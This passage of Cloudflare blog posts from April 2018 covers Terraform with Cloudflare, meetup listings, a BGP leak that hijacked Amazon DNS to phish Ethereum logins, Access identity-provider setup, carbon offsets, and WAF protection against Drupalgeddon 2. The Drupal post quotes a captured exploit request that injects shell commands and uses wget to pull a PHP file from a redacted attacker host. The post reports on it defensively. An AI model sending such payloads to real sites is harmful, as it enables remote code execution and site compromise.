$ cat >> cloudflare.tf <<'EOF' resource "cloudflare_record" "mx-10" { domain = "${var.domain}" name = "${var.domain}" value = "aspmx.lo.google.com" type = "MX" priority = "10" } resource "cloudflare_record" "mx-15-1" { domain = "${var.domain}" name = "${var.domain}" value = "alt1.aspmx.l.google.com" type = "MX" priority = "15" } resource "cloudflare_record" "mx-15-2" { domain = "${var.domain}" name = "${var.domain}" value = "alt2.aspmx.l.google.com" type = "MX" priority = "15" } resource "cloudflare_record" "mx-20-1" { domain = "${var.domain}" name = "${var.domain}" value = "alt3.aspmx.l.google.com" type = "MX" priority = "20" } resource "cloudflare_record" "mx-20-2" { domain = "${var.domain}" name = "${var.domain}" value = "alt3.aspmx.l.google.com" type = "MX" priority = "20" } EOF iii. Import resources into Terraform state

Before we import the records, let's look at what would happen if we ran a terraform apply.

$ terraform plan | grep Plan Plan: 5 to add, 0 to change, 0 to destroy.

Terraform does not know that these records already exist on Cloudflare, so until the import completes it will attempt to create them as new records. Below we import them one-by-one, specifying the name of the resource and the zoneName/resourceID returned by api.cloudflare.com.

$ terraform import cloudflare_record.mx-10 example.com/a96d72b3c6afe3077f9e9c677fb0a556 cloudflare_record.mx-10: Importing from ID "example.com/a96d72b3c6afe3077f9e9c677fb0a556"... cloudflare_record.mx-10: Import complete! Imported cloudflare_record (ID: a96d72b3c6afe3077f9e9c677fb0a556) cloudflare_record.mx-10: Refreshing state... (ID: a96d72b3c6afe3077f9e9c677fb0a556) Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. $ terraform import cloudflare_record.mx-15-1 example.com/8ea8c36c8530ee01068c65c0ddc4379b cloudflare_record.mx-15-1: Importing from ID "example.com/8ea8c36c8530ee01068c65c0ddc4379b"... cloudflare_record.mx-15-1: Import complete! Imported cloudflare_record (ID: 8ea8c36c8530ee01068c65c0ddc4379b) cloudflare_record.mx-15-1: Refreshing state... (ID: 8ea8c36c8530ee01068c65c0ddc4379b) Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. $ terraform import cloudflare_record.mx-15-2 example.com/ad0e9ff2479b13c5fbde77a02ea6fa2c cloudflare_record.mx-15-2: Importing from ID "example.com/ad0e9ff2479b13c5fbde77a02ea6fa2c"... cloudflare_record.mx-15-2: Import complete! Imported cloudflare_record (ID: ad0e9ff2479b13c5fbde77a02ea6fa2c) cloudflare_record.mx-15-2: Refreshing state... (ID: ad0e9ff2479b13c5fbde77a02ea6fa2c) Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. $ terraform import cloudflare_record.mx-20-1 example.com/ad6ee69519cd02a0155a56b6d64c278a cloudflare_record.mx-20-1: Importing from ID "example.com/ad6ee69519cd02a0155a56b6d64c278a"... cloudflare_record.mx-20-1: Import complete! Imported cloudflare_record (ID: ad6ee69519cd02a0155a56b6d64c278a) cloudflare_record.mx-20-1: Refreshing state... (ID: ad6ee69519cd02a0155a56b6d64c278a) Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform. $ terraform import cloudflare_record.mx-20-2 example.com/baf6655f33738b7fd902630858878206 cloudflare_record.mx-20-2: Importing from ID "example.com/baf6655f33738b7fd902630858878206"... cloudflare_record.mx-20-2: Import complete! Imported cloudflare_record (ID: baf6655f33738b7fd902630858878206) cloudflare_record.mx-20-2: Refreshing state... (ID: baf6655f33738b7fd902630858878206) Import successful! The resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform.

Now when we run terraform plan it no longer wants to (re-)create the above records.

$ terraform plan | grep changes No changes. Infrastructure is up-to-date. Wrapping up

That's it for today! We covered the Load Balancing and Page Rules resources, as well as demonstrated how to review and roll back configuration changes, and import state.

Stay tuned for future Terraform blog posts, where we plan to show how to manage state effectively in a group setting, go multi-cloud with Terraform, and much more.

Categories: Technology

Getting started with Terraform and Cloudflare (Part 1 of 2)

Fri, 27/04/2018 - 21:18
Getting started with Terraform and Cloudflare (Part 1 of 2)

As a Product Manager at Cloudflare, I spend quite a bit of my time talking to customers. One of the most common topics I'm asked about is configuration management. Developers want to know how they can write code to manage their Cloudflare config, without interacting with our APIs or UI directly.

Following best practices in software development, they want to store configuration in their own source code repository (be it GitHub or otherwise), institute a change management process that includes code review, and be able to track their configuration versions and history over time. Additionally, they want the ability to quickly and easily roll back changes when required.

When I first spoke with our engineering teams about these requirements, they gave me the best answer a Product Manager could hope to hear: there's already an open source tool out there that does all of that (and more), with a strong community and plugin system to boot—it's called Terraform.

This blog post is about getting started using Terraform with Cloudflare and the new version 1.0 of our Terraform provider. A "provider" is simply a plugin that knows how to talk to a specific set of APIs—in this case, Cloudflare, but there are also providers available for AWS, Azure, Google Cloud, Kubernetes, VMware, and many more services. Today's release extends our existing provider that previously only supported DNS records with support for Zone Settings, Rate Limiting, Load Balancing, and Page Rules.

Before and after Terraform

Before we jump into some real-world examples of using Terraform with Cloudflare, here is a set of diagrams that depicts the paradigm shift.

Getting started with Terraform and Cloudflare (Part 1 of 2)

Before Terraform, you needed to learn how to use the configuration interfaces or APIs of each cloud and edge provider, e.g., Google Cloud and Cloudflare below. Additionally, your ability to store your configuration in your own source code control system depends on vendor-specific configuration export mechanisms (which may or may not exist).

Getting started with Terraform and Cloudflare (Part 1 of 2)

With Terraform, you can store and version your configuration in GitHub (or your source code control system of choice). Once you learn Terraform's configuration syntax, you don't need to bother learning how to use providers' UIs or APIs—you just tell Terraform what you want and it figures out the rest.

Installing Terraform

The installation process for Terraform is extremely simple as it ships as a single binary file. Official instructions for installing Terraform can be found here, and for purposes of this example we'll show to do so on a macOS using Homebrew:

$ brew install terraform ==> Downloading https://homebrew.bintray.com/bottles/terraform-0.11.7.sierra.bottle.tar.gz ######################################################################## 100.0% ==> Pouring terraform-0.11.7.sierra.bottle.tar.gz
Categories: Technology

Copenhagen & London developers, join us for five events this May

Thu, 26/04/2018 - 06:32
Copenhagen & London developers, join us for five events this May

Copenhagen & London developers, join us for five events this May
Photo by Nick Karvounis / Unsplash

Are you based in Copenhagen or London? Drop by one or all of these five events.

Ross Guarino and Terin Stock, both Systems Engineers at Cloudflare are traveling to Europe to lead Go and Kubernetes talks in Copenhagen. They'll then join Junade Ali and lead talks on their use of Go, Kubernetes, and Cloudflare’s Mobile SDK at Cloudflare's London office.

My Developer Relations teammates and I are visiting these cities over the next two weeks to produce these events with Ross, Terin, and Junade. We’d love to meet you and invite you along.

Our trip will begin with two meetups and a conference talk in Copenhagen.

Event #1 (Copenhagen): 6 Cloud Native Talks, 1 Evening: Special KubeCon + CloudNativeCon EU Meetup

Copenhagen & London developers, join us for five events this May

Tuesday, 1 May: 17:00-21:00

Location: Trifork Copenhagen - Borgergade 24B, 1300 København K

How to extend your Kubernetes cluster

A brief introduction to controllers, webhooks and CRDs. Ross and Terin will talk about how Cloudflare’s internal platform builds on Kubernetes.

Speakers: Ross Guarino and Terin Stock

View Event Details & Register Here »

Event #2 (Copenhagen): Gopher Meetup At Falcon.io: Building Go With Bazel & Internationalization in Go

Copenhagen & London developers, join us for five events this May

Wednesday, 2 May: 18:00-21:00

Location: Falcon.io - H.C. Andersen Blvd. 27, København

Talk 1: Building Go with Bazel

Fast and Reproducible go builds with Bazel. Learn how to remove Makefiles from your repositories.

Speaker: Ross Guarino

Talk 2: Internationalization in Go

Explore making effective use of Go’s internationalization and localization packages and easily making your applications world-friendly.

Speaker: Terin Stock

View Event Details & Register Here »

Event #3 (Copenhagen): Controllers: Lambda Functions for Extending your Infrastructure at KubeCon + CloudNativeCon 2018

Copenhagen & London developers, join us for five events this May

Friday, 4 May: 14:45-15:20

Location: KubeCon + CloudNativeCon 2018 - Bella Center, Center Blvd. 5, 2300 København

If you happen to be attending KubeCon + CloudNativeCon 2018, check out Terin and Ross’s conference talk as well.

This session demonstrates how to leverage Kubernetes Controllers and Initializers as a framework for building transparent extensions of your Kubernetes cluster. Using a live coding exercise and demo, this presentation will showcase the possibilities of the basic programming paradigms the Kubernetes API server makes easy.

Speakers: Ross Guarino and Terin Stock

View Event Details & Register Here »

Copenhagen & London developers, join us for five events this May
Photo by Paul Buffington / Unsplash

When KubeCon + CloudNativeCon 2018 concludes, we're all heading to the Cloudflare London office where we are hosting two more meetups.

Event #4 (London): Kubernetes Controllers: Lambda Functions for Extending your Infrastructure

Copenhagen & London developers, join us for five events this May

Wednesday, 9 May: 18:00-20:00

Location: Cloudflare London - 25 Lavington St, Second floor | SE1 0NZ London

This session demonstrates how to leverage Kubernetes Controllers and Initializers as a framework for building transparent extensions of your Kubernetes cluster. Using a live coding exercise and demo, this presentation will showcase the possibilities of the basic programming paradigms the Kubernetes API server makes easy. As an SRE, learn to build custom integrations directly into the Kubernetes API that transparently enhance the developer experience.

Speakers: Ross Guarino and Terin Stock

View Event Details & Register Here »

Event #5 (London): Architecture for Network Failure, Developing for Mobile Performance

Copenhagen & London developers, join us for five events this May

Thursday, 10 May: 18:00-20:00

Location: Cloudflare London - 25 Lavington St, Second floor | SE1 0NZ London

Whether you're building an e-commerce app or a new mobile game, chances are you'll be needing some network functionality at some point when building a mobile app. Network performance can vary dramatically between carriers, networks, and APIs, but far too often mobile apps are tested inconsistent conditions with the same decent network performance. Fortunately we can iterate on our apps by collecting real-life performance measurements from your users; however, unfortunately existing mobile app analytics platforms only provide visibility into in-app performance but have no knowledge about outgoing network call.

This talk will cover how you can easily collect vital performance data from your users at no cost and then use this data to improve your apps' reliability and experience, discussing the tips and tricks needed to boost app performance.

Speaker: Junade Ali

View Event Details & Register Here »

More About the Speakers

Ross Guarino is a Systems Engineer at Cloudflare in charge of the technical direction of the internal platform. He’s determined to improve the lives of developers building and maintaining everything from a simple function to complex globally distributed systems.

Terin Stock is a long-time engineer at Cloudflare, currently working on building an internal Kubernetes cluster. By night, he hacks on building new hardware projects. Terin is also a member of gulp.js core team and the author of the Sticker Standard.

Junade Ali is a software engineer who is specialised in computer security and software architecture. Currently, Junade works at Cloudflare as a polymath, and helps make the Internet more secure and faster; prior to this, he was a technical lead at some of the UK's leading digital agencies before moving into architecting software for mission-critical road-safety systems.

We'll hope to meet you soon!

Categories: Technology

BGP leaks and cryptocurrencies

Tue, 24/04/2018 - 23:31
BGP leaks and cryptocurrencies

Over the few last hours, a dozen news stories have broken about how an attacker attempted (and perhaps managed) to steal cryptocurrencies using a BGP leak.

BGP leaks and cryptocurrencies
CC BY 2.0 image by elhombredenegro

What is BGP?

The Internet is composed of routes. For our DNS resolver 1.1.1.1 , we tell the world that all the IPs in the range 1.1.1.0 to 1.1.1.255 can be accessed at any Cloudflare PoP.

For the people who do not have a direct link to our routers, they receive the route via transit providers, who will deliver packets to those addresses as they are connected to Cloudflare and the rest of the Internet.

This is the normal way the Internet operates.

There are authorities (Regional Internet Registries, or RIRs) in charge of distributing IP addresses in order to avoid people using the same address space. Those are IANA, RIPE, ARIN, LACNIC, APNIC and AFRINIC.

What is a BGP leak?

BGP leaks and cryptocurrencies
CC BY 2.0 image by Magnus D

The broad definition of a BGP leak would be IP space that is announced by somebody not allowed by the owner of the space. When a transit provider picks up Cloudflare's announcement of 1.1.1.0/24 and announces it to the Internet, we allow them to do so. They are also verifying using the RIR information that only Cloudflare can announce it to them.

Although it can get tricky checking all the announcements. Especially when there are 700,000+ routes on the Internet and chains of providers exchanging traffic between each other.

By their nature, route leaks are localized. The more locally connected you are, the smaller the risk of accepting a leaked route is.
In order to be accepted over a legitimate route, the route has to be either:

  • A smaller prefix (10.0.0.1/32 = 1 IP vs 10.0.0.0/24 = 256 IPs)
  • Have better metrics than a prefix with the same length (shorter path)

The cause of a BGP leak is usually a configuration mistake: a router suddenly announces the IPs it learned. Or smaller prefixes used internally for traffic engineering suddenly becoming public.

But sometimes it is done with a malicious intent. The prefix can be re-routed through in order to passively analyze the data. Or somebody can also set-up a service to reply illegitimately instead. This has happened before.

What happened today?

Cloudflare maintains a range of BGP collectors gathering BGP information from hundreds of routers around the planet.

Between approximately 11:05:00 UTC and 12:55:00 UTC today we saw the following announcements:

BGP4MP|04/24/18 11:05:42|A|205.251.199.0/24|10297 BGP4MP|04/24/18 11:05:42|A|205.251.197.0/24|10297 BGP4MP|04/24/18 11:05:42|A|205.251.195.0/24|10297 BGP4MP|04/24/18 11:05:42|A|205.251.193.0/24|10297 BGP4MP|04/24/18 11:05:42|A|205.251.192.0/24|10297 ... BGP4MP|04/24/18 11:05:54|A|205.251.197.0/24|4826,6939,10297

Those are more specifics announcements of the ranges:

  • 205.251.192.0/23
  • 205.251.194.0/23
  • 205.251.196.0/23
  • 205.251.198.0/23

This IP space is allocated to Amazon (AS16509). But the ASN that announced it was eNet Inc (AS10297) to their peers and forwarded to Hurricane Electric (AS6939).

Those IPs are for Route53 Amazon DNS servers. When you query for one of their client zones, those servers will reply.

During the two hours leak the servers on the IP range only responded to queries for myetherwallet.com. As some people noticed SERVFAIL.

Any DNS resolver that was asked for names handled by Route53 would ask the authoritative servers that had been taken over via the BGP leak. This poisoned DNS resolvers whose routers had accepted the route.

This included Cloudflare DNS resolver 1.1.1.1. We were affected in Chicago, Sydney, Melbourne, Perth, Brisbane, Cebu, Bangkok, Auckland, Muscat, Djibouti and Manilla. In the rest of the world, 1.1.1.1 worked normally.

BGP hijack this morning affected Amazon DNS. eNet (AS10297) of Columbus, OH announced the following more-specifics of Amazon routes from 11:05 to 13:03 UTC today:
205.251.192.0/24
205.251.193.0/24
205.251.195.0/24
205.251.197.0/24
205.251.199.0/24

— InternetIntelligence (@InternetIntel) April 24, 2018

Correction: the BGP hijack this morning was against AWS DNS not Google DNS. https://t.co/gp3VLbImpX

— InternetIntelligence (@InternetIntel) April 24, 2018

For instance, the following query will return you legitimate Amazon IPs:

$ dig +short myetherwallet.com @205.251.195.239 54.192.146.xx

But during the hijack, it returned IPs associated with a Russian provider (AS48693 and AS41995). You did not need to accept the hijacked route to be victim of the attack, just use a DNS resolver that had been poisoned.

BGP leaks and cryptocurrencies

If you were using HTTPS, the fake website would display a TLS certificate signed by an unknown authority (the domain listed in the certificate was correct but it was self-signed). The only way for this attack to work would be to continue and accept the wrong certificate. From that point on, everything you send would be encrypted but the attacker had the keys.

If you were already logged-in, your browser will send the login information in the cookie. Otherwise, your username and password would be sent if you typed them in on a login page.

Once the attacker got the login information, it used them on the legitimate website to transfer and steal Ethereum.

Summary in pictures

Normal case
BGP leaks and cryptocurrencies

After a BGP route leak
BGP leaks and cryptocurrencies

Affected regions

As previously mentioned, AS10279 announced this route. But only some regions got affected. Hurricane Electric has a strong presence Australia, mostly due to Internet costs. Chicago was affected because AS10279 has a physical presence resulting in direct peering.

The following graph displays the number of packets received in the affected regions and unaffected regions (Y axis normalized). The drop is due to the authoritative server not responding to our requests anymore (it only responded for the one website and all other Amazon domains were ignored).
BGP leaks and cryptocurrencies

The others transits used by eNet (CenturyLink, Cogent and NTT) did not seem to have accepted this route: a reason could be that they have filters and/or Amazon as a customer.
eNet provides IP services, so one of their clients could have been announcing it.

Is there somebody to blame?

As there are many actors involved, it is hard to determine fault. Actors involved:

  • The ISP that announced a subnet it did not own.
  • The transit providers that did not check the announcement before relaying it.
  • The ISPs that accepted the route.
  • The lack of protection on the DNS resolvers and authority.
  • The phishing website hosted on providers in Russia.
  • The website that did not enforce legitimate TLS certificates.
  • The user that clicked continue even though the TLS certificate was invalid.

Just like a blockchain, a network change is usually visible and archived. RIPE maintains a database for this use.

Could we fix this?

This is a difficult question to answer. There are proposals for securing BGP:
Some terms can be added to the RIR databases, so a list of allowed sources can be generated:

$ whois -h whois.radb.net ' -M 205.251.192.0/21' | egrep '^route:|^origin:|source:' | paste - - - | sort route: 205.251.192.0/23 origin: AS16509 source: RADB route: 205.251.192.0/23 origin: AS16509 source: REACH

Setting up RPKI/ROA records with the RIR as a source of truth regarding to the path of a route, although not everyone create those records or validate them. IP and BGP were created a few decades ago, with different requirements in mind regarding integrity and authenticity (less routes).

A few things can be done on the upper levels of the network stack.

On DNS, you can use DNSSEC to sign your records. The IPs returned by the fake DNS would not have been signed as they do not have the private keys.
If you use Cloudflare as a DNS, you can enable DNSSEC within a few clicks in the panel.

On HTTPS, your browser will check the TLS certificate provided by the website. If HSTS is enabled, the browser will require a valid certificate all the time. The only way to generate a legitimate TLS certificate for a domain would be to poison the cache of a non-DNSSEC DNS resolver of the Certificate Authority.

DANE provides a way of pinning certificates to a domain name using DNS.

DNS over HTTPS would also allow to validate you are talking to the correct resolver in case the leak would be on the DNS resolvers instead of the DNS authority.

There is no perfect and unique solution. The more of these protections are in place, the harder it will be for a malicious actor to perform this kind of attack.

Categories: Technology

Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access

Mon, 23/04/2018 - 20:08
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access

We use Cloudflare Access to secure our own internal tools instead of a VPN. As someone that does a lot of work on the train, I can attest this is awesome (though I might be biased). You can see it in action below. Instead of having to connect to a VPN to reach our internal jira, we just login with our Google account and we are good to go:

Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Before today, you could setup Access if you used GSuite, Okta or Azure AD to manage your employee accounts. Today we would like to announce support for two more Identity Providers with Cloudflare Access: Centrify and OneLogin.

We launched Cloudflare Access earlier this year and have been overwhelmed by the response from our customers and community. Customers tell us they love the simplicity of setting up Access to secure applications and integrate with their existing identity provider solution. Access helps customers implement a holistic solution for both corporate and remote employees without having to use a VPN.

If you are using Centrify or OneLogin as your identity provider you can now easily integrate them with Cloudflare Access and have your team members login with their accounts to securely reach your internal tools.

Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access

Oh and one last thing, We have a new generic connector which allows you to integrate any OIDC based identity provider with Cloudflare Access. OpenID Connect (OIDC) is supported by many identity providers (some popular OIDC based Identity Providers are Ping Identity and Forgerock)

If you’re eager to get started, steps are below for configuring OneLogin, Centrify and a custom OIDC provider. Each take about 3-5 minutes. Hope you enjoy!

Steps for setting up Centrify

Login to your Centrify admin portal and click on apps.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Click on Add Web Apps and navigate to custom tab. Scroll down and click Add on OpenID Connect.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Click Yes on the Application modal to create an OpenID Connect app.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Enter an Application ID and click save.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Navigate to the trust tab and enter a strong application secret. Under the Service Provider configuration enter your application's authentication domain as the Resource application URL. Click Add on Authorized redirect URIs and put your authentication domain/cdn-cgi/access/callback. Click Save.

Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Now copy your Client ID, Client Secret, OpenID Connect Issuer URL without the forward slash and Application ID from Settings tab in the Centrify dashboard and then paste them into the Cloudflare dashboard.

Steps for setting up OneLogin

Login to your Onelogin admin portal and click on custom connectors.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Click on New Connector
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Name the connector and select OpenID Connect as the sign on method.
In the redirect URI field, put your authentication domain/cdn-cgi/access/callback. Click Save.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Click on More Actions and select Add App to Connector.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Name the app and click save.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Navigate to the SSO tab and click on show client secret.
Now You Can Setup Centrify, OneLogin, Ping and Other Identity Providers with Cloudflare Access
Now copy your Client ID and Client Secret from the Onelogin dashboard and then paste them into the Cloudflare dashboard.

Setting up a custom identity provider using OIDC

The following are the information you would need from your identity provider into the Cloudflare Dashboard.

  • Client ID and Client Secret: IdPs let you create a client or an app for each custom integration. You can create one for Access and grab the client id and secret.

  • Auth URL: This is the authorization_endpoint URL of your IdP.

  • Token URL: This is the token_endpoint URL of your IdP.

  • Certificate URL: The jwks_uri endpoint of your IdP is where you get the keys used by the IdP to sign the tokens.

All the above endpoint values can be obtained from your IdP's OIDC discovery endpoint which is also called as the well-known URL. For example if you use Ping as your identity the URL would be <hostname>/.well-known/openid-configuration

Give your IdP connector a name of your choice by entering it in the Name field.

In your IdP's Authorized redirect URI field, put your authentication domain/cdn-cgi/access/callback URL.

Categories: Technology

A Carbon Neutral North America

Mon, 23/04/2018 - 18:15
A Carbon Neutral North America

A Carbon Neutral North America
Photo by Karsten Würth (@inf1783) / Unsplash

Cloudflare's mission is to help build a better Internet. While working toward our goals, we want to make sure our processes are conducted in a sustainable manner.

In an effort to do so, we’ve reduced Cloudflare’s environmental impact by contracting to purchase regional renewable energy certificates, or “RECs,” to match 100% of the electricity used in our North American data centers as well as our U.S. offices. Cloudflare now has servers in 154 unique cities around the world, with 38 located in North America. Cloudflare has opted to support geographically diverse projects in proximity to our office and data center electricity usage. This renewable energy initiative reduces our electricity-based carbon footprint by 5,561 tons of CO2 which has a positive environmental impact. The impact can be compared to growing 144,132 trees seedlings for 10 years, or taking 1,191 cars off the road for one year.

A Carbon Neutral North America

How does buying a REC help reduce Cloudflare's carbon footprint you may ask? When 1MWh of electricity is produced from a renewable generator, such as a wind turbine, there are two products: the energy, which is delivered to the grid and mixes with other forms of energy, and the REC. When renewable energy is delivered to the grid, it cannot be distinguished from electrons from non-renewable sources. The REC is a way to track the renewable electricity and is like a receipt for owning the environmental benefits associated with the generation of renewable energy. RECs allow individuals and businesses to support renewable energy development and help to make renewable energy projects financially viable while lowering carbon footprints.

This purchase is an important step on our sustainability path. It is part of a broader sustainability effort which includes working with more data centers that specialize in lowering their PUE (Power Usage Effectiveness), as well as waste diversion and energy efficiency measures already in place in our offices worldwide. Moving forward, we plan to increase our renewable energy commitment to match energy used in our data centers and offices globally. We look forward to this and other opportunities to increase support of renewable energy and reduce our carbon footprint!

Categories: Technology

Keeping Drupal sites safe with Cloudflare's WAF

Fri, 20/04/2018 - 17:14
Keeping Drupal sites safe with Cloudflare's WAF

Cloudflare’s team of security analysts monitor for upcoming threats and vulnerabilities and where possible put protection in place for upcoming threats before they compromise our customers. This post examines how we protected people against a new major vulnerability in the Drupal CMS, nicknamed Drupalgeddon 2.

Two weeks after adding protection with WAF rule ID D0003 which mitigates the critical remote code execution Drupal exploit (SA-CORE-2018-002/CVE-2018-7600), we have seen significant spikes of attack attempts. Since the 13th of April the Drupal security team has been aware of automated attack attempts and it significantly increased the security risk score of the vulnerability. It makes sense to go back and analyse what happened in the last seven days in Cloudflare’s WAF environment.

What is Drupalgeddon 2

The vulnerability potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could make a site completely compromised.

Drupal introduced renderable arrays, which are a key-value structure, with keys starting with a ‘#’ symbol, that allows you to alter data during form rendering. These arrays however, did not have enough input validation. This means that an attacker could inject a custom renderable array on one of these keys in the form structure.

The WAF to the rescue

Cloudflare implemented a WAF rule that would identify malicious requests and block them. We block malicious payloads in GET requests, POST requests and Cookies, which matches the patch made to drupal itself.

Just during last week, after removing false positives, the rule has blocked more than 500,000 potential attacks, especially at the start of the sample date, when the vulnerability was more recent.

Keeping Drupal sites safe with Cloudflare's WAF

Apart from that, we are seeing more than 250 unique IPs per day, mostly IPv4 but also some IPv6 addresses.

Our analysis shows that most of the attempts are built with a POST request, trying to exploit the ‘mail’ field, with the following being the most used ones:

MAIL[#POST_RENDER] MAIL[#MARKUP] NAME[#POST_RENDER]

We also found some interesting attack attempts, in which the attacker tried to inject a renderable array on the name field that would copy and download a specific file with access details into a site belonging to the attacker on a most probably compromised domain.

/q=user/password&name[#post_render[]=system&name[#type]=markup&name[#markup]= chmod 0644 ./sites/default/files/.htaccess;cp/dev/null./sites/default /files/.htaccess;mkdir./sites/default/files/temp/;wget -P ./sites/default/ files/temp/http://[REDACTED]/blog/wpcontent/uploads/2017/01/example.sites.php;echo"@!!%@"

The number of blocked requests does not seem to be going down and we keep blocking more than 56,000 potential attacks per day.

Keeping Drupal sites safe with Cloudflare's WAF

Categories: Technology

1 year and 3 months working at Cloudflare: How is it going so far?

Thu, 19/04/2018 - 18:21
 How is it going so far?

This post is inspired by a very good blog post from one of my colleague in the US, which I really appreciated as I was a newcomer to the company. It was great to see what it is like working for Cloudflare after one year and to learn from the lessons she had learnt.

I'll try to do the same in three parts. Beginning with how my on-boarding went, my first customer experiences and finally what is my day-to-day life at Cloudflare. These writings only reflect my personal feelings and thoughts. The experience is different for each and every newcomer to Cloudflare.

Chapter 1 - On-boarding, being impressed and filling the (big) knowledge gaps.

Before I joined Cloudflare, I was working as a Security Consultant in Paris, France. I never had the opportunity to move abroad to speak English (me.englishLevel = 0), I never had any reason to live outside of France and was at the same time looking for another Job. Perfect then!

When I saw the job posting, I immediately applied as I knew the company well, the mindset and the products Cloudflare provided. It took me 6 months to get the offer probably because I was abroad and the French-speaking team was still under construction, to be honest, I would have given it a year if it was needed.
At Cloudflare, every new Solutions Engineer is sent to San Francisco for about a month to get a proper onboarding.

This has primarily served three purposes:
  • Meet people,
  • Understand the Sales pitch
  • Be technically prepared to face the customers!

I was optimistic in meeting the criteria with four weeks of training in SFO. However, I quickly changed my mind after the first hour! Thinking "This is really tough." I literally had to learn two languages, English and Cloudflarian.

 How is it going so far?
Post on linkedin I shared as I was so excited to start, that shows how hyped I was

For learning English, I decided to postpone as I had so many things to learn, I was meeting with (impressive) guys talking about a product as if I never heard about it before. For me, Cloudflare was a plug-and-play product implementing complex things in a way that kids could setup and understand. Digging deeper I discovered a monster. Not just a simple, well-crafted feature set that can be toggled on/off. but at the same time, a very well furnished product where being a master of a specific piece can take an age to learn!

Things I learnt:
  • People at Cloudflare are impressive. They are at the same time smart, humble, knowledgeable and happy to share/help!
  • Break, reverse-engineer, test, re-break the product with your test zone, that's the best way to not presume but to understand how it works.
  • Ask questions as many as you can. If you're thinking about asking the question it means that's not clear to you so ASK!
  • Cloudflare is a transparent company, use this to your advantage to learn by yourself! We've got access to every single line of code of the product, if you're asking yourself how something works, just dig into the code or ask someone to point you to the correct portion of the codebase.
  • The internal WIKI is your new god!

Chapter 2 - Come back to London and First customer experience

After the 4 weeks, I was almost dead and my head felt like it had gained kilos not from the SF food but with knowledge, I've gone back to my new home, the UK! Remembering that my girlfriend and I had left the apartment before unpacking the boxes, the joy!

After the weekend, the big day had arrived! My first day at Cloudflare London, I met the team which I was already quite familiar with given the number of interviews I had during my hiring process. They hadn't changed, they were always so friendly and I felt at home very quickly.

English level at the time: 0 + 4 weeks in SFO

 How is it going so far?
My first customer meeting

When I came back, I was literally thrown on to a call with a customer. Shadowed by a fellow colleague. I was excited and terrified at the same time. I discovered that they were Irish with a very difficult accent. I was not able to understand any words they were saying. Looking at my SE shadow with the MAYDAY eyes (please help me), who let me go it alone for this one, so I kept asking to repeat again and over again for the whole meeting. The customer had been quite nice and was repeating and we finally ended the call with what every customer wants: answers and solutions.

The calls after, I was gaining more and more confident and able to do them on my own, I was still ending the calls with things to catch up on as I wasn't able to answer directly on the phone. The more calls I had about different subjects, the more I felt capable. I was also noticing my English level improving. Today I'm able to follow a complete call with those Irish guys and it makes me proud to know how far I have come learning a new language.

Things I learnt:
  • A customer has NO reason to challenge you, make fun of you, or judge in any way what you say. The vision you have of your own presentation is ALWAYS perceived worse than what the customer/audience/colleague is observing. Keep this in mind when you need to do a presentation, or in general talk in public.
  • Cloudflare trusts you and when the company hires you. Don't doubt your capabilities, you ARE capable.
  • No need to postpone the opportunities. Put yourself in a challenging situation, make mistakes, that's the way we all learn.
  • Never assume. Ask or verify with someone if you are unsure. You'll never be expected to know everything about everything but just to be able to produce the work needed to get a valuable answer.

Chapter 3 - Mess around and enjoy to be part of the Rocketship

It took me about 4 months before feeling confident in myself and autonomous, I mean autonomous in a sense that I was not discovering a new subject for any new customer or researching general questions, I knew the global subject and that there was one, to be able to dig for myself and to get to the solution I was looking for.

I started to be by myself, taking the lead on things, being confident (what a sentiment). I started to do things not especially related to my work with customers or prospects like taking time to improve my LUA skills, HTTP knowledge, Python, I wrote my first technical blog article and I even took part of the project of building a sound-level monitoring system based on a Raspberry PI and a decibel meter sending alerts to our internal chat system when the level was too high! Talking with engineers is also so great, discovering what's going on behind the scene, how the product is built and designed you're supposed to be the guru of the product in front of the customers.

I discovered that no matter the subject you pick-up at Cloudflare, mastering it will take a LONG time, which is quite exciting as I hate to be bored, really. As a Solutions Engineer, you're not asked to master every subject, that's why we're a team and we've our own preferences / natural abilities in terms of technical subjects. We then kind of provide consulting to each other when it's needed, and that's what's great.

I really enjoy my life at Cloudflare because I see me as my own boss, with deadlines, pipelines, objectives and no matter the path I take, the importance is to reach the target. Personal development is part of it, I was never asked to stop doing non-directly related to customer things, you're even advised to do so. It will give you the satisfaction of doing something that makes sense and challenges you.

 How is it going so far?
Sweets delivery when we started to roll-out the DNS F-root (Yeah!)

The company itself now, and being part of a Rocketship has its advantages. It reassures me of the fact I took the correct decision 1 year and 3 months ago. I'm not saying that because I am career-obsessed but because I see the technical choices we make, how much we're growing, the fact we have such a smart team and we are able to keep it and that gives me the evidence that the fun at Cloudflare isn't going to stop.

Things I learnt:
  • Take time to fill your gaps, you will never be reproached for it.
  • Spend time on what you like and share with the team, don't keep it a secret!
  • Don't carry the whole load on your shoulders because 1) you couldn't afford it for the long term and 2) we're a team and need coverage on subjects.

Conclusion:

